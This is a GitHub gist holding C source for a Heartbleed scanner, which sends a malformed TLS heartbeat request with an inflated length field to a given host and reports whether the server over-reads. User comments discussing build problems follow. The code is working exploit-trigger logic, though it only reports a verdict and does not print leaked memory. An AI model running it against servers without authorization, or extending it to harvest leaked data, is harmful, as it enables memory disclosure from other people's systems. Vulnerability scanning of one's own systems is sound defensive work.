-
-
Save robstradling/10363389 to your computer and use it in GitHub Desktop.
/* History: | |
* v1.0 - (Rob Stradling) Original version. | |
* v1.1 - (Tim Hudson) Use SSL_get_ssl_method() instead of ssl3_write_bytes(). | |
* | |
* gcc -ansi -pedantic -o heartbleed heartbleed.c -lssl -lcrypto | |
*/ | |
#include <stdio.h> | |
#include "openssl/rand.h" | |
#include "openssl/ssl.h" | |
static void message_cb( | |
int v_write_p, | |
int v_version, | |
int v_content_type, | |
const void* v_buf, | |
size_t v_len, | |
SSL* v_ssl, | |
void* v_arg | |
) | |
{ | |
if (v_write_p || (v_version == SSL2_VERSION) || (v_len < 4) || (!v_arg)) | |
return; | |
if (v_content_type == TLS1_RT_HEARTBEAT) { | |
/* Expecting ~90 bytes if vulnerable to heartbleed; | |
~40 bytes if not vulnerable */ | |
if (v_len > 80) | |
*((int*)v_arg) = 1; /* Vulnerable! */ | |
v_ssl->tlsext_hb_pending = 0; | |
} | |
} | |
/****************************************************************************** | |
* checkForHeartbeatAndHeartbleed() * | |
******************************************************************************/ | |
static int checkForHeartbeatAndHeartbleed( | |
SSL* const v_ssl | |
) | |
{ | |
/* This #define is copied from ssl/ssl_locl.h */ | |
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \ | |
c[1]=(unsigned char)(((s) )&0xff)),c+=2) | |
unsigned char *buf, *p; | |
unsigned int payload = 18; /* Sequence number + random bytes */ | |
unsigned int padding = 16; /* Use minimum padding */ | |
int t_heartbeatEnabled = ( | |
(v_ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED) | |
&& !(v_ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) | |
); | |
/* Only send if peer supports and accepts HB requests... */ | |
if (!t_heartbeatEnabled) | |
return t_heartbeatEnabled; | |
/* Check if padding is too long, payload and padding | |
* must not exceed 2^14 - 3 = 16381 bytes in total. | |
*/ | |
OPENSSL_assert(payload + padding <= 16381); | |
/* Create HeartBeat message, we just use a sequence number | |
* as payload to distuingish different messages and add | |
* some random stuff. | |
* - Message Type, 1 byte | |
* - Payload Length, 2 bytes (unsigned int) | |
* - Payload, the sequence number (2 bytes uint) | |
* - Payload, random bytes (16 bytes uint) | |
* - Padding | |
*/ | |
buf = OPENSSL_malloc(1 + 2 + payload + padding); | |
p = buf; | |
/* Message Type */ | |
*p++ = TLS1_HB_REQUEST; | |
/* Payload length (18 bytes here) */ | |
/* s2n(payload, p);*/ | |
s2n(payload * 4, p); /* >payload to exploit heartbleed!!! */ | |
/* Sequence number */ | |
s2n(v_ssl->tlsext_hb_seq, p); | |
/* 16 random bytes */ | |
RAND_pseudo_bytes(p, 16); | |
p += 16; | |
/* Random padding */ | |
RAND_pseudo_bytes(p, padding); | |
/* Send malformed heartbeat request */ | |
if (SSL_get_ssl_method(v_ssl)->ssl_write_bytes(v_ssl, TLS1_RT_HEARTBEAT, | |
buf, 3 + payload + padding) >= 0) | |
v_ssl->tlsext_hb_pending = 1; | |
OPENSSL_free(buf); | |
return t_heartbeatEnabled; | |
} | |
int main(int argc, char** argv) | |
{ | |
SSL_CTX* t_sslCtx = NULL; | |
SSL* t_ssl = NULL; | |
BIO* t_bio = NULL; | |
int t_socket = -1; | |
int t_hasHeartbeatSupport = -1; | |
int t_hasHeartbleed = -1; | |
int t_returnCode = EXIT_FAILURE; | |
char t_headRequest[2048]; | |
char t_buf[2048]; | |
if (argc != 2) { | |
fprintf(stderr, "Usage: %s host_and_port\n", argv[0]); | |
goto label_finish; | |
} | |
/* Initialize the OpenSSL library */ | |
(void)SSL_library_init(); | |
OpenSSL_add_all_algorithms(); | |
/* Create and initialize the SSL context - for maximum compatibility, | |
use an SSLv2 "Client Hello" message that signals support for SSLv2, | |
SSLv3, TLSv1.0, TLSv1.1 and TLSv1.2 */ | |
if (!(t_sslCtx = SSL_CTX_new(SSLv23_client_method()))) { | |
fprintf(stderr, "Failed to allocate SSL_CTX structure\n"); | |
goto label_finish; | |
} | |
/* Set the default security level to "allow everything". We want to be | |
able to connect to as many servers as possible, so we don't want to | |
block legacy cruft such as SSLv2, 40-bit ciphers, etc */ | |
#if OPENSSL_VERSION_NUMBER >= 0x10100000L | |
SSL_CTX_set_security_level(t_sslCtx, 0); | |
#endif | |
/* We don't want to let OpenSSL automatically verify the peer */ | |
SSL_CTX_set_verify(t_sslCtx, SSL_VERIFY_NONE, NULL); | |
/* SSL_OP_LEGACY_SERVER_CONNECT was only added in OpenSSL 0.9.8m */ | |
#ifndef SSL_OP_LEGACY_SERVER_CONNECT | |
#define SSL_OP_LEGACY_SERVER_CONNECT 0 | |
#endif | |
/* Enable various options and some workarounds for broken Servers */ | |
(void)SSL_CTX_set_options( | |
t_sslCtx, | |
SSL_OP_ALL | SSL_OP_CIPHER_SERVER_PREFERENCE | |
| SSL_OP_LEGACY_SERVER_CONNECT | |
/* OpenSSL currently enables SSL_OP_LEGACY_SERVER_CONNECT by | |
default, but it will disable it at some point in the | |
future. We want to make sure it is enabled, because we want | |
to connect to as many different Servers as possible */ | |
| SSL_OP_NO_COMPRESSION | |
); | |
/* Configure a message callback */ | |
SSL_CTX_set_msg_callback(t_sslCtx, message_cb); | |
SSL_CTX_set_msg_callback_arg(t_sslCtx, &t_hasHeartbleed); | |
/* Set up the BIO SSL object */ | |
t_bio = BIO_new_ssl_connect(t_sslCtx); | |
if (!t_bio) { | |
fprintf(stderr, "Failed to set up the BIO SSL object\n"); | |
goto label_finish; | |
} | |
BIO_get_ssl(t_bio, &t_ssl); | |
if (!t_ssl) { | |
fprintf(stderr, "Failed to get the SSL pointer\n"); | |
goto label_finish; | |
} | |
/* Never bother us with retries if the transport is blocking */ | |
(void)SSL_set_mode(t_ssl, SSL_MODE_AUTO_RETRY); | |
/* Configure a message callback */ | |
SSL_set_msg_callback(t_ssl, message_cb); | |
SSL_set_msg_callback_arg(t_ssl, &t_hasHeartbleed); | |
/* Attempt to connect */ | |
BIO_set_conn_hostname(t_bio, argv[1]); | |
if (BIO_do_connect(t_bio) < 1) { | |
fprintf(stderr, "Failed to connect to %s\n", argv[1]); | |
goto label_finish; | |
} | |
t_returnCode = EXIT_SUCCESS; | |
/* Check for heartbeat support and begin checking for heartbleed | |
vulnerability */ | |
t_hasHeartbleed = 0; | |
t_hasHeartbeatSupport = checkForHeartbeatAndHeartbleed(t_ssl); | |
if (!t_hasHeartbeatSupport) { | |
printf("NOT VULNERABLE (TLS Heartbeat extension not supported by the server)\n"); | |
goto label_finish; | |
} | |
/* Send an HTTP HEAD Request */ | |
sprintf(t_headRequest, | |
"HEAD /robots.txt HTTP/1.1\r\n" | |
"Host: %s\r\n" | |
"Connection: close\r\n" | |
"User-Agent: Heartbleed Scanner\r\n\r\n", | |
argv[1] | |
); | |
(void)SSL_write(t_ssl, t_headRequest, strlen(t_headRequest)); | |
/* We don't care about the HTTP response, but we need to call SSL_read() | |
to trigger the heartbeat response message (if any) to be processed */ | |
(void)SSL_read(t_ssl, t_buf, 0); | |
if (t_hasHeartbleed) | |
printf("VULNERABLE!\n"); | |
else | |
printf("NOT VULNERABLE (TLS Heartbeat extension supported by the server)\n"); | |
label_finish: | |
if (t_bio) | |
BIO_free(t_bio); | |
if (t_sslCtx) | |
SSL_CTX_free(t_sslCtx); | |
EVP_cleanup(); | |
return t_returnCode; | |
} |
Hello, this is a great share, but i need some help of you.
i been trying to compile this c code with no success.
Can you help me please.
this is the output when i try to compile:
"
/tmp/ccOFqxAh.o: In function 'checkForHeartbeatAndHeartbleed':
heartbleed.c:(.text+0x18c): undefined reference to 'ssl3_write_bytes'
collect2: ld devolvió el estado de salida 1
"
Can you please help me with this, im using Ubuntu 12.03
Thanx in advance!!!
Ah, it only compiles if the symbols in libcrypto.so haven't been stripped. Looks like Debian/Ubuntu strip the symbols. I can't see an easy workaround for this, I'm afraid.
Leonardo Secci pointed out on openssl-users that you can compile this on Debian by linking to the static libssl.a library instead:
gcc -ansi -pedantic -o heartbleed heartbleed.c -lcrypto /usr/lib/x86_64-linux-gnu/libssl.a
Tim Hudson suggested using SSL_get_ssl_method() instead of ssl3_write_bytes(). Since SSL_get_ssl_method() is a publicly exported function, this should also fix the Debian/Ubuntu build problem. I've updated the code.
Thanks so much for this.
"distuingish" should be "distinguish".
Here's how I built it on Solaris:
cc -I/usr/local/ssl/include -o heartbleed heartbleed.c -L/usr/local/ssl/lib -lssl -lcrypto -lsocket -lnsl